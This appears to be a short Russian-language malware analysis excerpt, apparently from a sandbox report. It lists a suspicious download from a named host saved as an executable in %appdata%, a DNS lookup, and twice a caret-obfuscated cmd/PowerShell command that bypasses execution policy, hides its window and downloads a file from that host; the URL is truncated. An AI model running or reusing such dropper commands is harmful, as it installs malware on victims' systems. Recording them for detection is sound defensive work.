Техническая информация
- http://moonshards.top/search.php как %appdata%.exe
- '<SYSTEM32>\cmd.exe' /c "PoweRS^HE^L^l.EXE -^eXE^Cu^TiO^Np^oLIc^y^ bYPa^sS^ -nO^Pr^O^F^ILe -w^iNdowStyLe^ h^Id^DEn (NE^W-o^Bj^E^ct SyS^Te^M.N^e^T.^WeBC^L^Ien^t^).^DOw^N^lO^aDF^iLE^(^'http://moonshards.top/se...
- DNS ASK mo###hards.top
- '<SYSTEM32>\cmd.exe' /c "PoweRS^HE^L^l.EXE -^eXE^Cu^TiO^Np^oLIc^y^ bYPa^sS^ -nO^Pr^O^F^ILe -w^iNdowStyLe^ h^Id^DEn (NE^W-o^Bj^E^ct SyS^Te^M.N^e^T.^WeBC^L^Ien^t^).^DOw^N^lO^aDF^iLE^(^'http://moonshards.top/se...' (со скрытым окном)